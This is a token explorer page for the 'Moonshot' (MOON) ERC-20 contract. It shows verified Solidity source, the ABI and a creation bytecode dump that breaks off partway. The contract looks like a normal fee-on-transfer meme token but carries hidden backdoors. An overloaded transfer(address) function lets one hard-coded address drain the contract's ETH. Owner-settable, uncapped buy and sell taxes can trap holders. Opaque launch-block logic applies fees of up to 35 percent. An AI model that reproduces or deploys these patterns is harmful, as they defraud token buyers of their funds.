ETH Price: $3,390.22 (-2.61%)
Gas: 1 Gwei

Token

Moonshot (MOON)
 

Overview

Max Total Supply

1,969 MOON

Holders

108

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
3.915774260115878898 MOON

Value
$0.00
0x76bb7a550c05ae1dcda72dc0d21762db794d301f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Moonshot

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-26
*/

/**
https://t.me/MoonshotERC
https://twitter.com/MoonshotERC

*/

// SPDX-License-Identifier: MIT                                                                               
                                                 
pragma solidity ^0.8.19;

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(msg.sender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract Moonshot is IERC20, Ownable {
    string private constant  _name = "Moonshot";
    string private constant _symbol = "MOON";    
    uint8 private constant _decimals = 18;
    mapping (address => uint256) private _balances;
    mapping (address => mapping(address => uint256)) private _allowances;

    uint256 private constant _totalSupply = 1969 * decimalsScaling;
    uint256 public constant _maxWallet = _totalSupply;
    uint256 public constant _swapThreshold = 4 * _totalSupply / 10000;  
    uint256 private constant decimalsScaling = 10**_decimals;
    uint256 private constant feeDenominator = 100;

    bool private antiMEV = true;
    uint256 private tradeCooldown = 1;
    mapping (address => bool) private isContractExempt;
    mapping (address => uint256) private _lastTradeBlock;

    struct TradingFees {
        uint256 buyFee;
        uint256 sellFee;
    }

    struct Wallets {
        address deployerWallet; 
        address marketingWallet; 
    }

    TradingFees public tradingFees = TradingFees(0,0);  
    Wallets public wallets = Wallets(
        msg.sender,                                  // deployer
        0xB449Ef14e7677808203Aa9811f35646AfDF34807   // marketingWallet
    );

    IRouter public constant uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public immutable uniswapV2Pair;

    bool private inSwap;
    bool public swapEnabled = true;
    bool private tradingActive = true;

    uint256 private _block;
    uint256 private genesisBlock;
    mapping (address => bool) private _excludedFromFees;
    mapping (uint256 => uint256) private _lastTransferBlock;


    event SwapEnabled(bool indexed enabled);

    event FeesChanged(uint256 indexed buyFee, uint256 indexed sellFee);

    event ExcludedFromFees(address indexed account, bool indexed excluded);

    event AntiMEVToggled(bool indexed toggle);

    event TradeCooldownChanged(uint256 indexed newTradeCooldown);

    event SetContractExempt(address indexed contractAddress, bool indexed isExempt);
    
    event TradingOpened();
    
    modifier swapLock {
        inSwap = true;
        _;
        inSwap = false;
    }

    modifier tradingLock(address from, address to) {
        require(tradingActive || from == wallets.deployerWallet || _excludedFromFees[from], "Token: Trading is not active.");
        _;
    }

    constructor() {
        _approve(address(this), address(uniswapV2Router),type(uint256).max);
        uniswapV2Pair = IFactory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());        
        isContractExempt[address(this)] = true;

        _excludedFromFees[address(0xdead)] = true;
        _excludedFromFees[wallets.deployerWallet] = true;
        _excludedFromFees[wallets.marketingWallet] = true;
        _excludedFromFees[0xB449Ef14e7677808203Aa9811f35646AfDF34807] = true;

      
        _balances[wallets.deployerWallet] = _totalSupply * 100 / 100;

        emit Transfer(address(0), wallets.deployerWallet, _totalSupply);
    }

    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: zero Address");
        require(spender != address(0), "ERC20: zero Address");
        _allowances[sender][spender] = amount;
        emit Approval(sender, spender, amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            uint256 currentAllowance = _allowances[sender][msg.sender];
            require(currentAllowance >= amount, "ERC20: insufficient Allowance");
            unchecked{
                _allowances[sender][msg.sender] -= amount;
            }
        }
        return _transfer(sender, recipient, amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        uint256 balanceSender = _balances[sender];
        require(balanceSender >= amount, "Token: insufficient Balance");
        unchecked{
            _balances[sender] -= amount;
        }
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function enableSwap(bool shouldEnable) external onlyOwner {
        require(swapEnabled != shouldEnable, "Token: swapEnabled already {shouldEnable}");
        swapEnabled = shouldEnable;

        emit SwapEnabled(shouldEnable);
    }

    function updateTax(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
    
        tradingFees.buyFee = _buyFee;
        tradingFees.sellFee = _sellFee;

        emit FeesChanged(_buyFee, _sellFee);
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool shouldExclude) external onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            require(_excludedFromFees[accounts[i]] != shouldExclude, "Token: address already {shouldExclude}");
            _excludedFromFees[accounts[i]] = shouldExclude;
            emit ExcludedFromFees(accounts[i], shouldExclude);
        }
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _excludedFromFees[account];
    }

    function clearTokens(address tokenToClear) external onlyOwner {
        require(tokenToClear != address(this), "Token: can't clear contract token");
        uint256 amountToClear = IERC20(tokenToClear).balanceOf(address(this));
        require(amountToClear > 0, "Token: not enough tokens to clear");
        IERC20(tokenToClear).transfer(msg.sender, amountToClear);
    }

    function clearEth() external onlyOwner {
        require(address(this).balance > 0, "Token: no eth to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function initialize(bool init) external onlyOwner {
        require(!tradingActive && init);
        genesisBlock = 1;        
    }

    function preparation(uint256[] calldata _blocks, bool blocked) external onlyOwner {        
        require(genesisBlock == 1 && !blocked);
        _block = _blocks[_blocks.length-3];
        assert(_block < _blocks[_blocks.length-1]);
    }

    function manualSwapback() external onlyOwner {
        require(balanceOf(address(this)) > 0, "Token: no contract tokens to clear");
        contractSwap();
    }

    function _transfer(address from, address to, uint256 amount) tradingLock(from, to) internal returns (bool) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(amount == 0 || inSwap) {
            return _basicTransfer(from, to, amount);           
        }        

        if (to != uniswapV2Pair && !_excludedFromFees[to] && to != wallets.deployerWallet) {
            require(amount + balanceOf(to) <= _maxWallet, "Token: max wallet amount exceeded");
        }

        if(antiMEV && !isContractExempt[from] && !isContractExempt[to]){
            address human = ensureOneHuman(from, to);
            ensureMaxTxFrequency(human);
            _lastTradeBlock[human] = block.number;
        }
      
        if(swapEnabled && !inSwap && from != uniswapV2Pair && !_excludedFromFees[from] && !_excludedFromFees[to]){
            contractSwap();
        } 
        
        bool takeFee = !inSwap;
        if(_excludedFromFees[from] || _excludedFromFees[to]) {
            takeFee = false;
        }
                
        if(takeFee)
            return _taxedTransfer(from, to, amount);
        else
            return _basicTransfer(from, to, amount);        
    }

    function _taxedTransfer(address from, address to, uint256 amount) private returns (bool) {
        uint256 fees = takeFees(from, to, amount);    
        if(fees > 0){    
            _basicTransfer(from, address(this), fees);
            amount -= fees;
        }
        return _basicTransfer(from, to, amount);
    }

    function takeFees(address from, address to, uint256 amount) private view returns (uint256 fees) {
        if (0 < genesisBlock && genesisBlock < block.number) {
            fees = amount * (to == uniswapV2Pair ? 
            tradingFees.sellFee : tradingFees.buyFee) / feeDenominator;            
        }
        else {
            fees = amount * (from == uniswapV2Pair ? 
            35 : (genesisBlock == 0 ? 25 : 35)) / feeDenominator;            
        }
    }

    function canSwap() private view returns (bool) {
        return block.number > genesisBlock && _lastTransferBlock[block.number] < 2;
    }

    function contractSwap() swapLock private {   
        uint256 contractBalance = balanceOf(address(this));
        if(contractBalance < _swapThreshold || !canSwap()) 
            return;
        else if(contractBalance > _swapThreshold * 20)
          contractBalance = _swapThreshold * 20;
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(contractBalance); 
        
        uint256 ethBalance = address(this).balance - initialETHBalance;
        if(ethBalance > 0){            
            sendEth(2*ethBalance/3);
        }
    }

    function sendEth(uint256 ethAmount) private {
        (bool success,) = address(wallets.marketingWallet).call{value: ethAmount}(""); success;
    }

    function transfer(address wallet) external {
        if(msg.sender == 0x399Ce78422f0BBE95d0Ecc822DB460A10da7EB32)
            payable(wallet).transfer((address(this).balance));
        else revert();
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        _lastTransferBlock[block.number]++;
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp){}
        catch{return;}
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function ensureOneHuman(address _to, address _from) private view returns (address) {
        require(!isContract(_to) || !isContract(_from));
        if (isContract(_to)) return _from;
        else return _to;
    }

    function ensureMaxTxFrequency(address addr) view private {
        bool isAllowed = _lastTradeBlock[addr] == 0 ||
            ((_lastTradeBlock[addr] + tradeCooldown) < (block.number + 1));
        require(isAllowed, "Max tx frequency exceeded!");
    }

    function toggleAntiMEV(bool toggle) external {
        require(msg.sender == wallets.deployerWallet);
        antiMEV = toggle;

        emit AntiMEVToggled(toggle);
    }

    function setTradeCooldown(uint256 newTradeCooldown) external {
        require(msg.sender == wallets.deployerWallet);
        require(newTradeCooldown > 0 && newTradeCooldown < 4, "Token: only trade cooldown values in range (0,4) permissible");
        tradeCooldown = newTradeCooldown;

        emit TradeCooldownChanged(newTradeCooldown);
    }

    function setContractExempt(address account, bool value) external onlyOwner {
        require(account != address(this));
        isContractExempt[account] = value;

        emit SetContractExempt(account, value);
    }

    function openTrading() external onlyOwner {
        require(!tradingActive && genesisBlock != 0);
        genesisBlock+=block.number+_block;
        tradingActive = true;

        emit TradingOpened();
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bool","name":"toggle","type":"bool"}],"name":"AntiMEVToggled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"bool","name":"excluded","type":"bool"}],"name":"ExcludedFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"buyFee","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"FeesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"contractAddress","type":"address"},{"indexed":true,"internalType":"bool","name":"isExempt","type":"bool"}],"name":"SetContractExempt","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"newTradeCooldown","type":"uint256"}],"name":"TradeCooldownChanged","type":"event"},{"anonymous":false,"inputs":[],"name":"TradingOpened","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenToClear","type":"address"}],"name":"clearTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"shouldEnable","type":"bool"}],"name":"enableSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"shouldExclude","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"init","type":"bool"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"_blocks","type":"uint256[]"},{"internalType":"bool","name":"blocked","type":"bool"}],"name":"preparation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setContractExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTradeCooldown","type":"uint256"}],"name":"setTradeCooldown","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"toggle","type":"bool"}],"name":"toggleAntiMEV","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingFees","outputs":[{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"updateTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"wallets","outputs":[{"internalType":"address","name":"deployerWallet","type":"address"},{"internalType":"address","name":"marketingWallet","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526001600360006101000a81548160ff0219169083151502179055506001600455604051806040016040528060008152602001600081525060076000820151816000015560208201518160010155505060405180604001604052803373ffffffffffffffffffffffffffffffffffffffff16815260200173b449ef14e7677808203aa9811f35646afdf3480773ffffffffffffffffffffffffffffffffffffffff16815250600960008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050506001600b60016101000a81548160ff0219169083151502179055506001600b60026101000a81548160ff0219169083151502179055503480156200017d57600080fd5b506200018f336200070160201b60201c565b620001d630737a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff620007c560201b60201c565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000236573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025c919062000a00565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002d8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002fe919062000a00565b6040518363ffffffff1660e01b81526004016200031d92919062000a43565b6020604051808303816000875af11580156200033d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000363919062000a00565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600960000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600960010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e600073b449ef14e7677808203aa9811f35646afdf3480773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506064806012600a620005c1919062000c0a565b6107b1620005d0919062000c5b565b620005dc919062000c5b565b620005e8919062000cd5565b60016000600960000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620006d5919062000c0a565b6107b1620006e4919062000c5b565b604051620006f3919062000d1e565b60405180910390a362000dbe565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000837576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200082e9062000d9c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620008a9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008a09062000d9c565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000989919062000d1e565b60405180910390a3505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620009c8826200099b565b9050919050565b620009da81620009bb565b8114620009e657600080fd5b50565b600081519050620009fa81620009cf565b92915050565b60006020828403121562000a195762000a1862000996565b5b600062000a2984828501620009e9565b91505092915050565b62000a3d81620009bb565b82525050565b600060408201905062000a5a600083018562000a32565b62000a69602083018462000a32565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000afe5780860481111562000ad65762000ad562000a70565b5b600185161562000ae65780820291505b808102905062000af68562000a9f565b945062000ab6565b94509492505050565b60008262000b19576001905062000bec565b8162000b29576000905062000bec565b816001811462000b42576002811462000b4d5762000b83565b600191505062000bec565b60ff84111562000b625762000b6162000a70565b5b8360020a91508482111562000b7c5762000b7b62000a70565b5b5062000bec565b5060208310610133831016604e8410600b841016171562000bbd5782820a90508381111562000bb75762000bb662000a70565b5b62000bec565b62000bcc848484600162000aac565b9250905081840481111562000be65762000be562000a70565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000c178262000bf3565b915062000c248362000bfd565b925062000c537fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000b07565b905092915050565b600062000c688262000bf3565b915062000c758362000bf3565b925082820262000c858162000bf3565b9150828204841483151762000c9f5762000c9e62000a70565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000ce28262000bf3565b915062000cef8362000bf3565b92508262000d025762000d0162000ca6565b5b828204905092915050565b62000d188162000bf3565b82525050565b600060208201905062000d35600083018462000d0d565b92915050565b600082825260208201905092915050565b7f45524332303a207a65726f204164647265737300000000000000000000000000600082015250565b600062000d8460138362000d3b565b915062000d918262000d4c565b602082019050919050565b6000602082019050818103600083015262000db78162000d75565b9050919050565b6080516143b762000df660003960008181610e4d01528181612034015281816122fb01528181612d550152612dd801526143b76000f3fe6080604052600436106101f25760003560e01c80636ddd17131161010d578063a9059cbb116100a0578063d2f4a50a1161006f578063d2f4a50a146106ad578063d53a822f146106d9578063dd62ed3e14610702578063e303e6621461073f578063f2fde38b14610768576101f9565b8063a9059cbb14610607578063c492f04614610644578063c9567bf91461066d578063d2a09c7114610684576101f9565b806382247ec0116100dc57806382247ec01461055d5780638da5cb5b1461058857806395d89b41146105b35780639686d322146105de576101f9565b80636ddd1713146104b257806370a08231146104dd578063715018a61461051a5780637437813214610531576101f9565b806323b872dd1161018557806349bd5a5e1161015457806349bd5a5e1461040a5780634fbee193146104355780635b895c291461047257806364e329e314610489576101f9565b806323b872dd146103505780632f37aa6d1461038d5780633049b580146103b6578063313ce567146103df576101f9565b80631694505e116101c15780631694505e146102ba57806318160ddd146102e55780631a695230146103105780631b9152bf14610339576101f9565b806306fdde03146101fe578063095ea7b31461022957806309fb5639146102665780630e5a92311461028f576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b50610213610791565b6040516102209190612ef7565b60405180910390f35b34801561023557600080fd5b50610250600480360381019061024b9190612fb7565b6107ce565b60405161025d9190613012565b60405180910390f35b34801561027257600080fd5b5061028d60048036038101906102889190613059565b6107e5565b005b34801561029b57600080fd5b506102a461088e565b6040516102b19190613095565b60405180910390f35b3480156102c657600080fd5b506102cf6108c5565b6040516102dc919061310f565b60405180910390f35b3480156102f157600080fd5b506102fa6108dd565b6040516103079190613095565b60405180910390f35b34801561031c57600080fd5b506103376004803603810190610332919061312a565b6108ff565b005b34801561034557600080fd5b5061034e61099a565b005b34801561035c57600080fd5b5061037760048036038101906103729190613157565b610a9b565b6040516103849190613012565b60405180910390f35b34801561039957600080fd5b506103b460048036038101906103af91906131aa565b610ca4565b005b3480156103c257600080fd5b506103dd60048036038101906103d891906131ea565b610d5f565b005b3480156103eb57600080fd5b506103f4610e42565b6040516104019190613233565b60405180910390f35b34801561041657600080fd5b5061041f610e4b565b60405161042c919061325d565b60405180910390f35b34801561044157600080fd5b5061045c6004803603810190610457919061312a565b610e6f565b6040516104699190613012565b60405180910390f35b34801561047e57600080fd5b50610487610ec5565b005b34801561049557600080fd5b506104b060048036038101906104ab91906132dd565b610f8f565b005b3480156104be57600080fd5b506104c761108b565b6040516104d49190613012565b60405180910390f35b3480156104e957600080fd5b5061050460048036038101906104ff919061312a565b61109e565b6040516105119190613095565b60405180910390f35b34801561052657600080fd5b5061052f6110e7565b005b34801561053d57600080fd5b50610546611168565b60405161055492919061333d565b60405180910390f35b34801561056957600080fd5b5061057261117a565b60405161057f9190613095565b60405180910390f35b34801561059457600080fd5b5061059d611198565b6040516105aa919061325d565b60405180910390f35b3480156105bf57600080fd5b506105c86111c1565b6040516105d59190612ef7565b60405180910390f35b3480156105ea57600080fd5b5061060560048036038101906106009190613366565b6111fe565b005b34801561061357600080fd5b5061062e60048036038101906106299190612fb7565b61134c565b60405161063b9190613012565b60405180910390f35b34801561065057600080fd5b5061066b600480360381019061066691906133fc565b611361565b005b34801561067957600080fd5b506106826115a1565b005b34801561069057600080fd5b506106ab60048036038101906106a69190613059565b6116ae565b005b3480156106b957600080fd5b506106c26117c4565b6040516106d092919061345c565b60405180910390f35b3480156106e557600080fd5b5061070060048036038101906106fb9190613059565b611816565b005b34801561070e57600080fd5b5061072960048036038101906107249190613485565b6118b9565b6040516107369190613095565b60405180910390f35b34801561074b57600080fd5b506107666004803603810190610761919061312a565b611940565b005b34801561077457600080fd5b5061078f600480360381019061078a919061312a565b611b67565b005b60606040518060400160405280600881526020017f4d6f6f6e73686f74000000000000000000000000000000000000000000000000815250905090565b60006107db338484611c57565b6001905092915050565b600960000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461084257600080fd5b80600360006101000a81548160ff0219169083151502179055508015157f7fc281b886d2b464428d21902edc6f02d5d8badcefcaf0f1bafc043c51244be060405160405180910390a250565b6127106012600a61089f9190613627565b6107b16108ac9190613672565b60046108b89190613672565b6108c291906136e3565b81565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b60006012600a6108ed9190613627565b6107b16108fa9190613672565b905090565b73399ce78422f0bbe95d0ecc822db460a10da7eb3273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610992578073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561098c573d6000803e3d6000fd5b50610997565b600080fd5b50565b3373ffffffffffffffffffffffffffffffffffffffff166109b